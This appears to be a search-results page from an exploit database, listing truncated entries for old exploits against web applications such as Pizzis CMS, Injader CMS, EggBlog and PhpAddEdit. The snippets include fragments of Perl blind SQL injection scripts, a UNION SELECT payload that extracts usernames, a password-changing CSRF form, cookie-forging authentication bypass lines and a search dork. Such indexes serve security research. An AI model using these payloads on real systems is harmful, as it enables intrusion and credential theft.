2195 matches found
Comersus Shopping Cart 6.0 - Remote User Pass
Comersus Shopping Cart 6.0 - Remote User Pass Title : Comersus Shopping Cart Name Last Name Company Phone Email...
Pizzis CMS <= 1.5.1 (visualizza.php idvar) Blind SQL Injection Exploit
No description provided by source. --+++=============================================================+++-- --+++====== Pizzis CMS = 1.5.1 Blind SQL Injection Exploit ======+++-- --+++=============================================================+++-- !/usr/bin/perl use strict; use warnings; use...
Pizzis CMS 1.5.1 - Blind SQL Injection
Pizzis CMS 1.5.1 - Blind SQL Injection --+++=============================================================+++-- --+++====== Pizzis CMS ". "\n+ Ex. : perl $0 localhost /pizziscms admin". "\n+ Greetz: my girlfriend, she has no idea about what is it $hostname, PeerPort = 80, Proto = "tcp", or die $!;...
Pizzis CMS 1.5.1 Blind SQL Injection Exploit
--+++=============================================================+++-- --+++====== Pizzis CMS ". "\n+ Ex. : perl $0 localhost /pizziscms admin". "\n+ Greetz: my girlfriend, she has no idea about what is it $hostname, PeerPort = 80, Proto = "tcp", or die $!; my $query = query $user, $chr, $pos; m...
EggBlog 3.1.10 Change Admin Pass CSRF Vulnerability
No description provided by source. | | | Project: EggBlog v 3.1.10 | | Author: x0r | | Email: andry2000athotmaildotit | || Code: html titlex0r :P /title form id="forum-form" name="forumform" method="post" action="http://site/path/change.php" input type="hidden" size="30" id="forumpassword"...
Doop 1.4.0b XSRF / Shell Upload
-------------------------------------------------------------------------- | Project: Doop document.admin.submit ---------------------------------------------------------------------- -- Upload Shell -- Ok. Una volta nel pannello di amministrazione possiamo uppare qualsiasi file non controlla...
doop CMS <= 1.4.0b (CSRF/Upload Shell) Multiple Remote Vulnerabilities
Exploit for unknown platform in category web applications ====================================================================== doop CMS document.admin.submit ---------------------------------------------------------------------- -- Upload Shell -- Ok. Una volta nel pannello di amministrazione...
[ISecAuditors Security Advisories] Multiple vulnerabilities in WiFi router COMTREND CT-536/HG-536+
============================================= INTERNET SECURITY AUDITORS ALERT 2007-002 - Original release date: 31st January, 2007 - Last revised: 22th December, 2008 - Discovered by: Daniel Fernandez Bleda - Severity: 5/5 ============================================= I. VULNERABILITY...
Injader CMS 2.1.1 - id SQL Injection
Injader CMS 2.1.1 - id SQL Injection Injader CMS http://www.injader.com/ - = 2.1.1 - - SQL - http://localhost/upload/feeds.php?name=articles&id= magicquotesgpc = Off registerglobals = On Username urlencode: 2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCATCHAR0,IFNULLCASTusername AS CHAR10000,...
PhpAddEdit 1.3 - cookie Authentication Bypass
PhpAddEdit 1.3 - cookie Authentication Bypass ------------------------------------- PhpAddEdit 1.3 Login By Pass ------------------------------------- Found By: x0r Evolution Team Email: [email protected] ------------------------------------- Bug In: Addedit-login.php if !$loginerror // --- Se...
Wordpress Plugin st_newsletter (stnl_iframe.php) SQL Injection Vuln
No description provided by source. . . | / | | \ \ | / / |\ \ \ |/ // / /\ \ / |/ \ / // | / | | / \ \ / / // \ / \ |/| || \\ /|\ / / / / \ / \ / / / \ | | /\ /\ / \ | \ // est.2007 / / forum.darkc0de.com --d3hydr8 -rsauron-baltazar -sinner01 -C1c4Tr1Z - beenu...
IP Reg <= 0.4 Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl ----------------------------------------------- IP Reg = 0.4 Blind SQL Injection Exploit Discovered By StAkeR - StAkeRathotmaildotit Discovered On 03/10/2008 ----------------------------------------------- Download...
libra-cookie.txt
Libra PHP File Manager Insecure Cookie Handling Vulnerability + Discovered By Stack + Greetz : All my freind --- exploit: javascript:document.cookie = "user=1; path=/"; document.cookie = "pass=1; path=/";...
CVE-2008-4244: Improper Authentication
Rianxosencabos CMS 0.9 allows remote attackers to bypass authentication and gain administrative access by setting the usuario and pass cookies to 1...
Scripteen Free Image Hosting Script 1.2 (cookie) Pass Grabber Exploit
No description provided by source. ?php / Coded By RMx - Liz0zim BiyoSecurity.Com & Coderx.org Ki zava Ki Zava : Thanx : CrackersChild - TRIP - Volqan - All SQL Low3rz / errorreporting"EALL"; iniset"maxexecutiontime",0; iniset"defaultsockettimeout",5; $desen='|value="."|siU'; function...
PIGMy-SQL <= 1.4.1 (getdata.php id) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications =============================================================== PIGMy-SQL ; print "Valid Photo ID: "; chompmy $pid=; ifinjecttest$url, $pid print "\nInjecting Please Wait.. This could take sev...
Parallels Virtuozzo Containers 3.0.0-25.4.swsoft VZPP Interface Change Pass - Cross-Site Request Forgery
Parallels Virtuozzo Containers 3.0.0-25.4.swsoft VZPP Interface Change Pass - Cross-Site Request Forgery source: https://www.securityfocus.com/bid/28593/info Parallels Virtuozzo Containers is prone to a cross-site request-forgery vulnerability. Exploiting the issue will allow a remote attacker to...
ZyXEL ZyWALL Quagga/Zebra (default pass) Remote Root Vulnerability
Exploit for hardware platform in category remote exploits ================================================================== ZyXEL ZyWALL Quagga/Zebra default pass Remote Root Vulnerability ================================================================== Name: ZyXEL ZyWALL Quagga/Zebra Remote...
exoopsglossaire-sql.txt
XOOPS module glossaire SQL Injection powered by e-xoopsglossaireSQL Injection AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAiL : [email protected] DORK 1 : allinurl: id "modules glossaire" EXPLOIT :...
Koobi CMS 4.3.0 - 4.2.3 (categ) Remote SQL Injection Vulnerability
JosS + Spanish Hackers Team + Sys - Project + Info: Software: Koobi CMS 4.3.0 - 4.2.3 HomePage: http://www.dream4.de/ Exploit: Remote SQL Injection High Where: index.php Bug Found By: Jose Luis Gуngora Fernбndez | JosS Contact: sys-projectathotmail.com Web: http://www.spanish-hackers.com +...